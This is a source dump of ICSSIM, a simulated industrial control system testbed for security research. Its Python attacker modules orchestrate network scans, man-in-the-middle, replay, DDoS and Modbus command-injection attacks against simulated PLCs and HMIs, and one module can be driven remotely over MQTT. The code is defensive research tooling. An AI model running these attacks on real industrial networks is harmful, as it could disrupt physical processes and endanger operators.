16 | release = '0.1'
17 |
18 |
19 | # -- General configuration ---------------------------------------------------
20 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration
21 |
22 | extensions = ['myst_parser', "sphinx.ext.autodoc"]
23 |
24 | templates_path = ['_templates']
25 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store']
26 | autoclass_content = 'both'
27 |
28 |
29 | # -- Options for HTML output -------------------------------------------------
30 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output
31 |
32 | html_theme = 'sphinx_rtd_theme'
33 | html_static_path = ['_static']
34 |
--------------------------------------------------------------------------------
/doc/example.py:
--------------------------------------------------------------------------------
1 | def multiply(a: float, b: float) -> float:
2 | """
3 | Multiply two numbers.
4 |
5 | :param a: First number.
6 | :param b: Second number.
7 | :return: The product of a and b.
8 | """
9 | return a * b
10 |
11 | def print_all():
12 | """
13 | it print every thing
14 |
15 | :return: The product of a and b.
16 | """
17 |
18 | print ("Hi")
19 | return "Hi"
20 |
21 |
22 | print_all()
--------------------------------------------------------------------------------
/doc/icssim.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/doc/icssim.md
--------------------------------------------------------------------------------
/doc/index.rst:
--------------------------------------------------------------------------------
1 | .. Example documentation master file, created by
2 | sphinx-quickstart on Sat Sep 23 20:35:12 2023.
3 | You can adapt this file completely to your liking, but it should at least
4 | contain the root `toctree` directive.
5 |
6 | Welcome to ICSSIM's documentation!
7 | ===================================
8 |
9 | .. toctree::
10 | :maxdepth: 2
11 | :caption: Contents:
12 |
13 | readme-copy.md
14 | api.md
15 |
--------------------------------------------------------------------------------
/doc/make.bat:
--------------------------------------------------------------------------------
1 | @ECHO OFF
2 |
3 | pushd %~dp0
4 |
5 | REM Command file for Sphinx documentation
6 |
7 | if "%SPHINXBUILD%" == "" (
8 | set SPHINXBUILD=sphinx-build
9 | )
10 | set SOURCEDIR=.
11 | set BUILDDIR=_build
12 |
13 | %SPHINXBUILD% >NUL 2>NUL
14 | if errorlevel 9009 (
15 | echo.
16 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx
17 | echo.installed, then set the SPHINXBUILD environment variable to point
18 | echo.to the full path of the 'sphinx-build' executable. Alternatively you
19 | echo.may add the Sphinx directory to PATH.
20 | echo.
21 | echo.If you don't have Sphinx installed, grab it from
22 | echo.https://www.sphinx-doc.org/
23 | exit /b 1
24 | )
25 |
26 | if "%1" == "" goto help
27 |
28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
29 | goto end
30 |
31 | :help
32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O%
33 |
34 | :end
35 | popd
36 |
--------------------------------------------------------------------------------
/doc/readme-copy.md:
--------------------------------------------------------------------------------
1 | # ICSSIM
2 | This is the ICSSIM source code and user manual for simulating industrial control system testbed for cybersecurity experiments.
3 |
4 | Complete version of readme file is [here](https://github.com/AlirezaDehlaghi/ICSSIM)!
--------------------------------------------------------------------------------
/doc/sample.md:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/doc/sample.md
--------------------------------------------------------------------------------
/doc/some-feature.md:
--------------------------------------------------------------------------------
1 | # Some feature
2 |
3 | ## Subsection
4 |
5 | (Under Construction)
6 |
7 | Exciting documentation for ICSSIM will be here.
8 |
9 | - item 1
10 |
11 | - nested item 1
12 | - nested item 2
13 |
14 | - item 2
15 | - item 3
16 |
--------------------------------------------------------------------------------
/src/.Configs.py.swp:
--------------------------------------------------------------------------------
1 | b0nano 4.8 : root 47a89fd1fcc8 Configs.py
--------------------------------------------------------------------------------
/src/.idea/.gitignore:
--------------------------------------------------------------------------------
1 | # Default ignored files
2 | /shelf/
3 | /workspace.xml
4 |
--------------------------------------------------------------------------------
/src/.idea/inspectionProfiles/profiles_settings.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/src/.idea/misc.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
--------------------------------------------------------------------------------
/src/.idea/modules.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/src/.idea/src.iml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
--------------------------------------------------------------------------------
/src/.idea/vcs.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/src/Attacker.py:
--------------------------------------------------------------------------------
1 | import os
2 | from AttackerBase import AttackerBase
3 |
4 |
5 | class Attacker(AttackerBase):
6 | def __init__(self):
7 | AttackerBase.__init__(self, 'attacker')
8 |
9 | def __get_menu_line(self, template, number, text):
10 | return template.format(
11 | self._make_text(str(number)+')', self.COLOR_BLUE),
12 | self._make_text(text, self.COLOR_YELLOW),
13 | self._make_text(str(number), self.COLOR_BLUE)
14 | )
15 |
16 | def __create_menu(self):
17 | menu = "\n" + self.__get_menu_line('{} to {} press {} \n', 0, 'clear')
18 | i = 0
19 | for attack in self.attack_list.keys():
20 | i += 1
21 | menu += self.__get_menu_line('{} To apply the {} attack press {} \n', i, attack)
22 |
23 | return menu
24 |
25 | def _logic(self):
26 | self.report(self.__create_menu())
27 | attack_cnt = len(self.attack_list)
28 |
29 | try:
30 | attack_name = int(input('your choice (1 to {}): '.format(attack_cnt)))
31 |
32 | if int(attack_name) == 0:
33 | os.system('clear')
34 | return
35 |
36 | if 0 < attack_name <= attack_cnt:
37 | attack_name = list(self.attack_list.keys())[attack_name-1]
38 |
39 | self._apply_attack(attack_name)
40 |
41 | except ValueError as e:
42 | self.report(e.__str__())
43 |
44 | except Exception as e:
45 | self.report('The input is invalid ' + e.__str__())
46 |
47 | input('press inter to continue ...')
48 |
49 |
50 | if __name__ == '__main__':
51 | attacker = Attacker()
52 | attacker.start()
53 |
--------------------------------------------------------------------------------
/src/AttackerBase.py:
--------------------------------------------------------------------------------
1 | import os
2 | from abc import ABC
3 | from time import sleep
4 |
5 | from scapy.arch import get_if_addr
6 | from scapy.config import conf
7 | from scapy.layers.l2 import Ether
8 | from datetime import datetime, timedelta
9 | from ics_sim.Device import Runnable
10 | import logging
11 | import subprocess
12 |
13 | from ics_sim.Attacks import _do_scan_scapy_attack, _do_replay_scapy_attack, _do_mitm_scapy_attack, \
14 | _do_scan_nmap_attack, _do_command_injection_attack, _do_ddos_attack
15 |
16 |
17 | class AttackerBase(Runnable, ABC):
18 |
19 | NAME_ATTACK_SCAN_MMAP = 'scan-nmap'
20 | NAME_ATTACK_SCAN_SCAPY = 'scan-scapy'
21 | NAME_ATTACK_MITM_SCAPY = 'mitm-scapy'
22 | NAME_ATTACK_REPLY_SCAPY = 'replay-scapy'
23 | NAME_ATTACK_DDOS = 'ddos'
24 | NAME_ATTACK_COMMAND_INJECTION = 'command-injection'
25 |
26 | def __init__(self, name1):
27 | super().__init__(name1, 100)
28 |
29 | self.log_path = os.path.join('.', 'logs', 'attack-logs')
30 | if not os.path.exists(self.log_path):
31 | os.makedirs(self.log_path)
32 |
33 | self.MAC = Ether().src
34 | self.IP = get_if_addr(conf.iface)
35 |
36 | self.attack_history = self.get_history_logger()
37 |
38 | self.attack_list = {
39 | # 'scan-ettercap': 'ip-scan',
40 | # 'scan-ping': 'ip-scan',
41 | AttackerBase.NAME_ATTACK_SCAN_MMAP: 'port-scan',
42 | AttackerBase.NAME_ATTACK_SCAN_SCAPY: 'ip-scan',
43 | AttackerBase.NAME_ATTACK_MITM_SCAPY: 'mitm',
44 | # 'mitm-ettercap': 'mitm',
45 | AttackerBase.NAME_ATTACK_DDOS: 'ddos',
46 | AttackerBase.NAME_ATTACK_REPLY_SCAPY: 'replay',
47 | AttackerBase.NAME_ATTACK_COMMAND_INJECTION: 'command-injection'}
48 |
49 | def get_history_logger(self):
50 | attack_history = self.setup_logger(
51 | f'{self.name()}_summary',
52 | logging.Formatter('%(message)s'),
53 | file_dir=self.log_path,
54 | file_ext='.csv'
55 | )
56 |
57 | attack_history.info(
58 | "{},{},{},{},{},{},{},{}"
59 | .format("attack", "startStamp", "endStamp", "startTime", "endTime", "attackerMAC", "attackerIP",
60 | "description")
61 | )
62 |
63 | return attack_history
64 |
65 | def _apply_attack(self, name):
66 | if name == AttackerBase.NAME_ATTACK_SCAN_SCAPY:
67 | self._scan_scapy_attack()
68 |
69 | elif name == AttackerBase.NAME_ATTACK_REPLY_SCAPY:
70 | self._replay_scapy_attack()
71 |
72 | elif name == AttackerBase.NAME_ATTACK_MITM_SCAPY:
73 | self._mitm_scapy_attack()
74 |
75 | elif name == AttackerBase.NAME_ATTACK_SCAN_MMAP:
76 | self._scan_nmap_attack()
77 |
78 | elif name == AttackerBase.NAME_ATTACK_COMMAND_INJECTION:
79 | self._command_injection_attack()
80 |
81 | elif name == AttackerBase.NAME_ATTACK_DDOS:
82 | self._ddos_attack()
83 | else:
84 | self.report('Attack not found!')
85 |
86 | def _scan_scapy_attack(self, target='192.168.0.1/24', timeout=10):
87 | name = AttackerBase.NAME_ATTACK_SCAN_SCAPY
88 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
89 |
90 | start = datetime.now()
91 | _do_scan_scapy_attack(log_dir=self.log_path, log_file=log_file, target=target, timeout=timeout)
92 | end = datetime.now()
93 |
94 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
95 |
96 | def _replay_scapy_attack(self, timeout=15, replay_count=3, target='192.168.0.11,192.168.0.22'):
97 | name = AttackerBase.NAME_ATTACK_REPLY_SCAPY
98 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
99 |
100 | start = datetime.now()
101 | _do_replay_scapy_attack(log_dir=self.log_path, log_file=log_file, timeout=timeout, replay_count=replay_count,
102 | target=target)
103 | end = datetime.now()
104 |
105 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
106 |
107 | def _mitm_scapy_attack(self, timeout=30, noise=0.1, target='192.168.0.1/24'):
108 | name = AttackerBase.NAME_ATTACK_MITM_SCAPY
109 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
110 | start = datetime.now()
111 |
112 | # _do_mitm_scapy_attack(log_dir, log_file, timeout=15, noise=0.2, destination='192.168.0.11,192.168.0.21')
113 | _do_mitm_scapy_attack(log_dir=self.log_path, log_file=log_file, timeout=timeout, noise=noise, target=target)
114 |
115 | end = datetime.now()
116 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
117 |
118 | def _scan_nmap_attack(self, target='192.168.0.1-255'):
119 | name = AttackerBase.NAME_ATTACK_SCAN_MMAP
120 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
121 | start = datetime.now()
122 |
123 | _do_scan_nmap_attack(log_dir=self.log_path, log_file=log_file, target=target)
124 |
125 | end = datetime.now()
126 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
127 |
128 | def _command_injection_attack(self, command_injection_agent='CommandInjectionAgent.py', command_counter=30):
129 | name = AttackerBase.NAME_ATTACK_COMMAND_INJECTION
130 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
131 | start = datetime.now()
132 |
133 | _do_command_injection_attack(log_dir=self.log_path, log_file=log_file,
134 | command_injection_agent=command_injection_agent, command_counter=command_counter)
135 |
136 | end = datetime.now()
137 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
138 |
139 | def _ddos_attack(self, ddos_agent_path='DDosAgent.py', timeout=60, num_process=10, target='192.168.0.11'):
140 | name = AttackerBase.NAME_ATTACK_DDOS
141 | log_file = os.path.join(self.log_path, f'log-{name}.txt')
142 | start = datetime.now()
143 |
144 | _do_ddos_attack(log_dir=self.log_path, log_file=log_file, ddos_agent_path=ddos_agent_path, timeout=timeout,
145 | num_process=num_process, target=target)
146 |
147 | end = datetime.now()
148 | start = start + timedelta(seconds=5)
149 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5)
150 |
151 | def _post_apply_attack(self, attack_name, start_time, end_time, post_wait_time):
152 | self.attack_history.info(
153 | "{},{},{},{},{},{},{},{}".format(
154 | self.attack_list[attack_name]
155 | , start_time.timestamp(), end_time.timestamp(), start_time, end_time, self.MAC, self.IP,
156 | attack_name
157 | )
158 | )
159 | self.report(f'applied {attack_name} attack successfully.')
160 | self.report(f'waiting {post_wait_time} seconds to cooldown attack.')
161 | sleep(post_wait_time)
162 |
--------------------------------------------------------------------------------
/src/AttackerMachine.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | import random
4 | import subprocess
5 | from datetime import datetime, timedelta
6 | from time import sleep
7 |
8 | from AttackerBase import AttackerBase
9 |
10 |
11 | class AttackerMachine(AttackerBase):
12 | def __init__(self):
13 | AttackerBase.__init__(self, 'attacker_machine')
14 |
15 | def _before_start(self):
16 | AttackerBase._before_start(self)
17 |
18 | self.__attack_scenario = []
19 | self.__attack_scenario += ['scan-ettercap'] * 0 # this should be 0, cannot automate
20 | self.__attack_scenario += ['scan-ping'] * 0
21 | self.__attack_scenario += ['scan-nmap'] * 16
22 | self.__attack_scenario += ['scan-scapy'] * 21
23 | self.__attack_scenario += ['mitm-scapy'] * 14
24 | self.__attack_scenario += ['mitm-ettercap'] * 0
25 | self.__attack_scenario += ['ddos'] * 7
26 | self.__attack_scenario += ['replay-scapy'] * 7
27 |
28 | random.shuffle(self.__attack_scenario)
29 |
30 |
31 | def _logic(self):
32 | while True:
33 | response = input("Do you want to start attacks? \n")
34 | response = response.lower()
35 | if response == 'y' or response == 'yes':
36 | self._set_clear_scr(False)
37 | break
38 | else:
39 | continue
40 |
41 | self.report('Attacker Machine start to apply {} attacks'.format(len(self.__attack_scenario)))
42 | self.__status_board = {}
43 |
44 | for attack_name in self.__attack_scenario:
45 | try:
46 | self._apply_attack(attack_name)
47 |
48 | if not self.__status_board.keys().__contains__(attack_name):
49 | self.__status_board[attack_name] = 0
50 | self.__status_board[attack_name] += 1
51 |
52 | for attack in self.__status_board.keys():
53 | text = '{}: applied {} times'.format(attack, self.__status_board[attack])
54 | self.report(self._make_text(text, self.COLOR_GREEN))
55 |
56 | except ValueError as e:
57 | self.report(e.__str__())
58 |
59 | except Exception as e:
60 | self.report('The input is invalid ' + e.__str__())
61 |
62 | input('press inter to continue ...')
63 |
64 |
65 | if __name__ == '__main__':
66 | attackerMachine = AttackerMachine()
67 | attackerMachine.start()
68 |
--------------------------------------------------------------------------------
/src/AttackerRemote.py:
--------------------------------------------------------------------------------
1 | import json
2 | import logging
3 | import os
4 | import threading
5 | import time
6 | import paho.mqtt.client as mqtt
7 | from AttackerBase import AttackerBase
8 | from MqttHelper import read_mqtt_params
9 | import queue
10 |
11 | from ics_sim.Device import Runnable
12 |
13 |
14 | class AttackerRemote(AttackerBase):
15 |
16 | def __init__(self):
17 | AttackerBase.__init__(self, 'attacker_remote')
18 |
19 | self.remote_connection_file = ''
20 | self.enabled = False
21 | self.applying_attack = False
22 | self.mqtt_thread = False
23 |
24 | self.attacksQueue = queue.Queue()
25 | self.client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1)
26 |
27 | def _logic(self):
28 |
29 | if not self.enabled:
30 | self.__try_enable()
31 | elif not self.attacksQueue.empty():
32 | self.process_messages(self.attacksQueue.get())
33 | else:
34 | time.sleep(2)
35 |
36 | def __try_enable(self):
37 |
38 | sample = ""
39 |
40 | with open("MQTTSampleConnection.txt", 'r') as file:
41 | sample = self._make_text(file.read(), Runnable.COLOR_GREEN)
42 |
43 | message = f"""
44 | To enable attacker remote please provide a MQTT connection file contain required data for connection.
45 | The connection file sample is:
46 | {sample}
47 |
48 | (current dir: {os.getcwd()})
49 | Connection file address:
50 | """
51 |
52 | response = input(message)
53 |
54 | if not os.path.exists(response):
55 | self.report(f'Connection file not found({response})!', logging.ERROR)
56 | return
57 |
58 | connection_params = read_mqtt_params(response)
59 | if not all(key in connection_params for key in ["type", "address", "port", "topic"]):
60 | self.report(f'Connection file ({self.remote_connection_file}) is in wrong format. Not found correct keys!',
61 | logging.ERROR)
62 | return
63 |
64 | for value in connection_params.values():
65 | if str(value).startswith("<") or str(value).endswith(">"):
66 | self.report(
67 | f'Connection file ({self.remote_connection_file}) is in wrong format. Not found correct values!',
68 | logging.ERROR)
69 | return
70 |
71 | self.remote_connection_file = response
72 |
73 | new_msg = "connection file compiled! with following params:\n"
74 | for key, value in connection_params.items():
75 | new_msg += f'{key}: {value}\n'
76 |
77 | new_msg = Runnable._make_text(new_msg, Runnable.COLOR_YELLOW)
78 |
79 | self.report(new_msg)
80 |
81 | self.mqtt_thread = threading.Thread(target=self.setup_mqtt_client)
82 | self.mqtt_thread.start()
83 | self.enabled = True
84 |
85 | def setup_mqtt_client(self):
86 | connection_params = read_mqtt_params(self.remote_connection_file)
87 | connection_params['topic'] = connection_params['topic'] + '/#'
88 |
89 | if connection_params.keys().__contains__('username') and connection_params.keys().__contains__('password'):
90 | print('password')
91 | username = connection_params['username']
92 | password = connection_params['password']
93 | self.client.username_pw_set(username, password)
94 |
95 | # Set up callback functions
96 | self.client.on_subscribe = self.on_subscribe
97 | self.client.on_message = self.on_message
98 |
99 | self.client.connect(connection_params['address'], int(connection_params['port']))
100 | self.client.subscribe(connection_params['topic'], qos=1)
101 | self.client.loop_forever()
102 |
103 | def on_subscribe(self, client, userdata, mid, granted_qos):
104 | self.report("Subscribed: " + str(mid) + " " + str(granted_qos), level=logging.INFO)
105 |
106 | def on_message(self, client, userdata, msg):
107 | self.report(msg.topic + " " + str(msg.qos) + " " + str(msg.payload), level=logging.INFO)
108 | if self.applying_attack:
109 | self.report(f'Discard applying attack ({str(msg.payload)}) since already applying an attack.')
110 | else:
111 | self.attacksQueue.put(msg)
112 |
113 |
114 |
115 |
116 | def process_messages(self, msg):
117 | self.applying_attack = True
118 |
119 | try:
120 | msg = json.loads(msg.payload.decode("utf-8"))
121 | self.report(f'Start processing incoming message: ({msg})', level=logging.INFO)
122 | attack = self.find_tag_in_msg(msg, 'attack')
123 |
124 | if attack == 'ip-scan':
125 | self._scan_scapy_attack()
126 |
127 | elif attack == 'ddos':
128 | timeout = self.find_tag_in_msg(msg, 'timeout')
129 | target = self.find_tag_in_msg(msg, 'target')
130 | target = self.find_device_address(target)
131 | self._ddos_attack(timeout=timeout, target=target, num_process=5)
132 |
133 | elif attack == 'port-scan':
134 | self._scan_nmap_attack()
135 |
136 | elif attack == 'mitm':
137 | mode = self.find_tag_in_msg(msg, 'mode')
138 | timeout = self.find_tag_in_msg(msg, 'timeout')
139 | target = '192.168.0.1/24'
140 | if mode.lower() == 'link':
141 | target_1 = self.find_tag_in_msg(msg, 'target1')
142 | target_2 = self.find_tag_in_msg(msg, 'target2')
143 | target = self.find_device_address(target_1) + "," + self.find_device_address(target_2)
144 | self._mitm_scapy_attack(target=target, timeout=timeout)
145 |
146 | elif attack == 'replay':
147 | mode = self.find_tag_in_msg(msg, 'mode')
148 | timeout = self.find_tag_in_msg(msg, 'timeout')
149 | target = '192.168.0.1/24'
150 | replay = self.find_tag_in_msg(msg, 'replay')
151 | if mode.lower() == 'link':
152 | target_1 = self.find_tag_in_msg(msg, 'target1')
153 | target_2 = self.find_tag_in_msg(msg, 'target2')
154 | target = self.find_device_address(target_1) + "," + self.find_device_address(target_2)
155 | self._replay_scapy_attack(target=target, timeout=timeout, replay_count=replay)
156 |
157 | else:
158 | raise Exception(f"attack type: ({attack}) is not recognized!")
159 | except Exception as e:
160 | self.report(e.__str__())
161 |
162 | self.applying_attack = False
163 |
164 |
165 | @staticmethod
166 | def find_tag_in_msg(msg, tag):
167 | if not msg.keys().__contains__(tag):
168 | raise Exception(f'Cannot find tag name: ({tag}) in message!')
169 | return msg[tag]
170 |
171 | @staticmethod
172 | def find_device_address(device_name):
173 | if device_name.lower() == 'plc1':
174 | return '192.168.0.11'
175 | elif device_name.lower() == 'plc2':
176 | return '192.168.0.12'
177 |
178 | elif device_name.lower() == 'hmi1':
179 | return '192.168.0.21'
180 |
181 | elif device_name.lower() == 'hmi2':
182 | return '192.168.0.22'
183 | else:
184 | raise Exception(f'target:({device_name}) is not recognized!')
185 |
186 |
187 | if __name__ == '__main__':
188 | attackerRemote = AttackerRemote()
189 | attackerRemote.start()
190 |
--------------------------------------------------------------------------------
/src/CommandInjectionAgent.py:
--------------------------------------------------------------------------------
1 | import logging
2 | import os
3 | import random
4 | import sys
5 | from datetime import datetime
6 | from time import sleep
7 |
8 | from ics_sim.Device import HMI
9 | from Configs import TAG, Controllers
10 | import Configs
11 |
12 |
13 | class CommandInjectionAgent(HMI):
14 | def __init__(self, name , period , destination):
15 | super().__init__(name, TAG.TAG_LIST, Controllers.PLCs, period)
16 | self.destination= destination
17 |
18 | def _before_start(self):
19 | self._set_clear_scr(False)
20 | self.time = datetime.now().timestamp()
21 | self.period = 0
22 | def _logic(self):
23 |
24 | if datetime.now().timestamp() > self.time + self.period :
25 | value =int( self._receive(self.destination))
26 | if int(value) == 1:
27 | value = 0
28 | elif int(value) ==0:
29 | value = 1
30 |
31 | self._send(self.destination, value)
32 | self.report( 'on time {} ({}) Signal {} changed to {}'.format( datetime.now(), datetime.now().timestamp(), destinations, value))
33 | self.period = random.randint(2, 8)
34 | self.time = datetime.now().timestamp()
35 |
36 |
37 |
38 |
39 |
40 |
41 | if __name__ == '__main__':
42 | period = 0
43 | destinations = ''
44 | if len(sys.argv) > 0:
45 | period = int(sys.argv[1])
46 |
47 | attacker_list = []
48 | attacker_list.append(CommandInjectionAgent('AgentInputValve', 1, Configs.TAG.TAG_TANK_INPUT_VALVE_STATUS))
49 | #attacker_list.append(CommandInjectionAgent('AgentOutputValve', 1, Configs.TAG.TAG_TANK_OUTPUT_VALVE_STATUS))
50 | #attacker_list.append(CommandInjectionAgent('AgentConveyorBelt', 1, Configs.TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS))
51 |
52 | for attacker in attacker_list:
53 | attacker.start()
54 |
55 | sleep(period)
56 |
57 | for attacker in attacker_list:
58 | attacker.stop()
59 |
60 |
61 |
62 |
--------------------------------------------------------------------------------
/src/Configs.py:
--------------------------------------------------------------------------------
1 | class SimulationConfig:
2 | # Constants
3 | EXECUTION_MODE_LOCAL = 'local'
4 | EXECUTION_MODE_DOCKER = 'docker'
5 | EXECUTION_MODE_GNS3 = 'gns3'
6 |
7 | # configurable
8 | EXECUTION_MODE = EXECUTION_MODE_DOCKER
9 |
10 |
11 |
12 | class PHYSICS:
13 | TANK_LEVEL_CAPACITY = 3 # Liter
14 | TANK_MAX_LEVEL = 10
15 | TANK_INPUT_FLOW_RATE = 0.0002 # Liter/mil-second
16 | TANK_OUTPUT_FLOW_RATE = 0.0001 # Liter/mil-second
17 |
18 | BOTTLE_LEVEL_CAPACITY = 0.75 # Liter
19 | BOTTLE_MAX_LEVEL = 2
20 | BOTTLE_DISTANCE = 20 # Centimeter
21 |
22 | CONVEYOR_BELT_SPEED = 0.005 # Centimeter/mil-second
23 |
24 |
25 | class TAG:
26 | TAG_TANK_INPUT_VALVE_STATUS = 'tank_input_valve_status'
27 | TAG_TANK_INPUT_VALVE_MODE = 'tank_input_valve_mode'
28 |
29 | TAG_TANK_LEVEL_VALUE = 'tank_level_value'
30 | TAG_TANK_LEVEL_MAX = 'tank_level_max'
31 | TAG_TANK_LEVEL_MIN = 'tank_level_min'
32 |
33 | TAG_TANK_OUTPUT_VALVE_STATUS = 'tank_output_valve_status'
34 | TAG_TANK_OUTPUT_VALVE_MODE = 'tank_output_valve_mode'
35 |
36 | TAG_TANK_OUTPUT_FLOW_VALUE = 'tank_output_flow_value'
37 |
38 | TAG_CONVEYOR_BELT_ENGINE_STATUS= 'conveyor_belt_engine_status'
39 | TAG_CONVEYOR_BELT_ENGINE_MODE = 'conveyor_belt_engine_mode'
40 |
41 | TAG_BOTTLE_LEVEL_VALUE = 'bottle_level_value'
42 | TAG_BOTTLE_LEVEL_MAX = 'bottle_level_max'
43 |
44 | TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE = 'bottle_distance_to_filler_value'
45 |
46 | TAG_LIST = {
47 | # tag_name (tag_id, PLC number, input/output, fault (just for inputs)
48 | TAG_TANK_INPUT_VALVE_STATUS: {'id': 0, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 1},
49 | TAG_TANK_INPUT_VALVE_MODE: {'id': 1, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3},
50 |
51 | TAG_TANK_LEVEL_VALUE: {'id': 2, 'plc': 1, 'type': 'input', 'fault': 0.0, 'default': 5.8},
52 | TAG_TANK_LEVEL_MIN: {'id': 3, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3},
53 | TAG_TANK_LEVEL_MAX: {'id': 4, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 7},
54 |
55 |
56 | TAG_TANK_OUTPUT_VALVE_STATUS: {'id': 5, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 0},
57 | TAG_TANK_OUTPUT_VALVE_MODE: {'id': 6, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3},
58 |
59 | TAG_TANK_OUTPUT_FLOW_VALUE: {'id': 7, 'plc': 1, 'type': 'input', 'fault': 0.0, 'default': 0},
60 |
61 | TAG_CONVEYOR_BELT_ENGINE_STATUS: {'id': 8, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 0},
62 | TAG_CONVEYOR_BELT_ENGINE_MODE: {'id': 9, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 3},
63 |
64 | TAG_BOTTLE_LEVEL_VALUE: {'id': 10, 'plc': 2, 'type': 'input', 'fault': 0.0, 'default': 0},
65 | TAG_BOTTLE_LEVEL_MAX: {'id': 11, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 1.8},
66 |
67 | TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE: {'id': 12, 'plc': 2, 'type': 'input', 'fault': 0.0, 'default': 0},
68 | }
69 |
70 |
71 | class Controllers:
72 | PLC_CONFIG = {
73 | SimulationConfig.EXECUTION_MODE_DOCKER: {
74 | 1: {
75 | 'name': 'PLC1',
76 | 'ip': '192.168.0.11',
77 | 'port': 502,
78 | 'protocol': 'ModbusWriteRequest-TCP'
79 | },
80 | 2: {
81 | 'name': 'PLC2',
82 | 'ip': '192.168.0.12',
83 | 'port': 502,
84 | 'protocol': 'ModbusWriteRequest-TCP'
85 | },
86 | },
87 | SimulationConfig.EXECUTION_MODE_GNS3: {
88 | 1: {
89 | 'name': 'PLC1',
90 | 'ip': '192.168.0.11',
91 | 'port': 502,
92 | 'protocol': 'ModbusWriteRequest-TCP'
93 | },
94 | 2: {
95 | 'name': 'PLC2',
96 | 'ip': '192.168.0.12',
97 | 'port': 502,
98 | 'protocol': 'ModbusWriteRequest-TCP'
99 | },
100 | },
101 | SimulationConfig.EXECUTION_MODE_LOCAL: {
102 | 1: {
103 | 'name': 'PLC1',
104 | 'ip': '127.0.0.1',
105 | 'port': 5502,
106 | 'protocol': 'ModbusWriteRequest-TCP'
107 | },
108 | 2: {
109 | 'name': 'PLC2',
110 | 'ip': '127.0.0.1',
111 | 'port': 5503,
112 | 'protocol': 'ModbusWriteRequest-TCP'
113 | },
114 | }
115 | }
116 |
117 | PLCs = PLC_CONFIG[SimulationConfig.EXECUTION_MODE]
118 |
119 |
120 | class Connection:
121 | SQLITE_CONNECTION = {
122 | 'type': 'sqlite',
123 | 'path': 'storage/PhysicalSimulation1.sqlite',
124 | 'name': 'fp_table',
125 | }
126 | MEMCACHE_DOCKER_CONNECTION = {
127 | 'type': 'memcache',
128 | 'path': '192.168.1.31:11211',
129 | 'name': 'fp_table',
130 | }
131 | MEMCACHE_LOCAL_CONNECTION = {
132 | 'type': 'memcache',
133 | 'path': '127.0.0.1:11211',
134 | 'name': 'fp_table',
135 | }
136 | File_CONNECTION = {
137 | 'type': 'file',
138 | 'path': 'storage/sensors_actuators.json',
139 | 'name': 'fake_name',
140 | }
141 |
142 | CONNECTION_CONFIG = {
143 | SimulationConfig.EXECUTION_MODE_GNS3: MEMCACHE_DOCKER_CONNECTION,
144 | SimulationConfig.EXECUTION_MODE_DOCKER: SQLITE_CONNECTION, #todo : return back to sqlite connection
145 | SimulationConfig.EXECUTION_MODE_LOCAL: SQLITE_CONNECTION
146 | }
147 | CONNECTION = CONNECTION_CONFIG[SimulationConfig.EXECUTION_MODE]
148 |
149 |
--------------------------------------------------------------------------------
/src/DDosAgent.py:
--------------------------------------------------------------------------------
1 | import argparse
2 | import logging
3 | import os
4 | import random
5 |
6 | from time import sleep
7 | from ics_sim.Device import HMI, Runnable
8 | from Configs import TAG, Controllers
9 |
10 |
11 | class DDosAgent(HMI):
12 | max = 0
13 |
14 | def __init__(self, name, target_ip, shared_logger):
15 |
16 | # initialize members
17 | self.__shared_logger = shared_logger
18 | super().__init__(name, TAG.TAG_LIST, Controllers.PLCs, 1)
19 | self.__target_ip = target_ip
20 |
21 | # select target signal for attack based on input target_ip
22 | target_plc = [plc_id for plc_id, plc_data in Controllers.PLCs.items() if plc_data["ip"] == target_ip]
23 | possible_signals = [tag_name for tag_name, tag_data in TAG.TAG_LIST.items() if tag_data["plc"] in target_plc]
24 | self.__target = random.choice(possible_signals)
25 |
26 | # set counter and chuck size
27 | self.__counter = 0
28 | self.chunk = 10
29 |
30 | def _before_start(self):
31 | self._set_clear_scr(False)
32 | sleep(5)
33 | self.report(f'selected target = {self.__target}', level=logging.INFO)
